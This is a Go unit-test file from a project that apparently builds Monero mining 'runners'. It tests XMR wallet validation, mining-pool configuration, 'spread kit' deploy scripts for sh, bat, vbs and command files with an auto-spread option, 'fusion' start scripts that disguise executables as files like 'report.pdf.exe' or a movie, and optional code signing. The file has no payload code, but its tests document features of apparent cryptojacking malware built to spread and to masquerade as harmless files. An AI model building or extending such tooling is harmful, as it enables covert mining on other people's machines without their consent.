Files
AetherForge/server/internal/builder/handler_helpers_test.go
AetherForge ea6f54ad03 Expand test coverage across server, agent, and web; fix bugs found during audit.
Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.
2026-05-31 01:13:58 -07:00

170 lines
4.5 KiB
Go

package builder
import (
"strings"
"testing"
)
func TestLooksLikeXMRWalletValid(t *testing.T) {
addr := "4" + strings.Repeat("A", 94)
if !looksLikeXMRWallet(addr) {
t.Fatal("expected valid wallet")
}
}
func TestLooksLikeXMRWalletTooShort(t *testing.T) {
if looksLikeXMRWallet("4abc") {
t.Fatal("too short should fail")
}
}
func TestLooksLikeXMRWalletWrongPrefix(t *testing.T) {
addr := "8" + strings.Repeat("A", 94)
if looksLikeXMRWallet(addr) {
t.Fatal("wrong prefix should fail")
}
}
func TestLooksLikeXMRWalletInvalidChar(t *testing.T) {
addr := "4" + strings.Repeat("A", 93) + "@"
if looksLikeXMRWallet(addr) {
t.Fatal("invalid char should fail")
}
}
func TestFormatGoStringSlice(t *testing.T) {
if formatGoStringSlice(nil) != "nil" {
t.Fatal("nil slice")
}
if formatGoStringSlice([]string{"", " "}) != "nil" {
t.Fatal("empty strings trimmed away")
}
got := formatGoStringSlice([]string{"http://a", "http://b"})
if !strings.Contains(got, "http://a") || !strings.Contains(got, "http://b") {
t.Fatalf("got %q", got)
}
}
func TestFormatGoBackupPools(t *testing.T) {
if formatGoBackupPools(nil) != "nil" {
t.Fatal("nil pools")
}
got := formatGoBackupPools([]BackupPool{{Host: "pool.example.com", Port: 4444, TLS: true}})
if !strings.Contains(got, "pool.example.com") {
t.Fatalf("got %q", got)
}
emptyPass := formatGoBackupPools([]BackupPool{{Host: "x", Port: 1}})
if !strings.Contains(emptyPass, `"x"`) {
t.Fatalf("default pass: %q", emptyPass)
}
}
func TestFormatBytes(t *testing.T) {
if formatBytes(512) != "512 B" {
t.Fatalf("bytes: %q", formatBytes(512))
}
if formatBytes(2048) != "2.00 KB" {
t.Fatalf("KB: %q", formatBytes(2048))
}
if formatBytes(1024*1024) != "1.00 MB" {
t.Fatalf("MB: %q", formatBytes(1024*1024))
}
}
func TestIsFusionPayloadExt(t *testing.T) {
if !isFusionPayloadExt("clip.mkv") {
t.Fatal("mkv should be accepted")
}
if isFusionPayloadExt("noext") {
t.Fatal("no extension should fail")
}
if isFusionPayloadExt(".") {
t.Fatal("dot-only should fail")
}
}
func TestFileSizeNil(t *testing.T) {
if fileSize(nil) != 0 {
t.Fatal("nil FileInfo should be 0")
}
}
func TestRunnerNameForPlatform(t *testing.T) {
if runnerNameForPlatform(BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}) != "runner.exe" {
t.Fatal("windows runner name")
}
if runnerNameForPlatform(BuildPlatform{GOOS: "linux", GOARCH: "amd64"}) != "runner" {
t.Fatal("linux runner name")
}
}
func TestTruncateWallet(t *testing.T) {
if truncateWallet("short") != "short" {
t.Fatal("short wallet unchanged")
}
long := strings.Repeat("4", 95)
if len(truncateWallet(long)) != 16 {
t.Fatalf("truncated to 16 chars, got %d", len(truncateWallet(long)))
}
}
func TestSpreadKitDeployScriptsNonEmpty(t *testing.T) {
for name, fn := range map[string]func() string{
"sh": spreadKitDeploySh,
"bat": spreadKitDeployBat,
"vbs": spreadKitDeployVbs,
"cmd": spreadKitStartCommand,
} {
if s := fn(); len(s) < 20 {
t.Fatalf("%s script too short", name)
}
}
}
func TestFormatSpreadKitReadme(t *testing.T) {
req := &BuildRequest{WorkerName: "pc-1", ServerURL: "http://127.0.0.1:8989"}
s := formatSpreadKitReadme(req)
if !strings.Contains(s, "pc-1") || !strings.Contains(s, "127.0.0.1") {
t.Fatalf("readme: %q", s)
}
}
func TestFormatSpreadKitOperator(t *testing.T) {
req := &BuildRequest{
WorkerName: "pc-1", ServerURL: "http://x", PoolHost: "pool", PoolPort: 3333,
Wallet: strings.Repeat("4", 95), AutoSpread: true,
}
s := formatSpreadKitOperator(req, "build-id")
if !strings.Contains(s, "build-id") || !strings.Contains(s, "pool:3333") {
t.Fatalf("operator: %q", s)
}
}
func TestFusionUniversalStartScripts(t *testing.T) {
sh := fusionUniversalStartSh("movie.mp4")
if !strings.Contains(sh, "movie-runner") {
t.Fatalf("start.sh: %q", sh)
}
bat := fusionUniversalStartBat("report.pdf")
if !strings.Contains(bat, "report.pdf.exe") {
t.Fatalf("start.bat: %q", bat)
}
if cmd := fusionUniversalStartCommand(); !strings.Contains(cmd, "start.sh") {
t.Fatalf("start.command: %q", cmd)
}
}
func TestShouldSignBuildDisabled(t *testing.T) {
h := &Handler{policy: BuildPolicy{Sign: SignPolicy{Enabled: false}}}
if h.shouldSignBuild(&BuildRequest{SignBuild: true}) {
t.Fatal("signing disabled in policy")
}
}
func TestShouldSignBuildNoRequestFlag(t *testing.T) {
h := &Handler{policy: BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "abc"}}}
if h.shouldSignBuild(&BuildRequest{SignBuild: false}) {
t.Fatal("SignBuild flag required")
}
}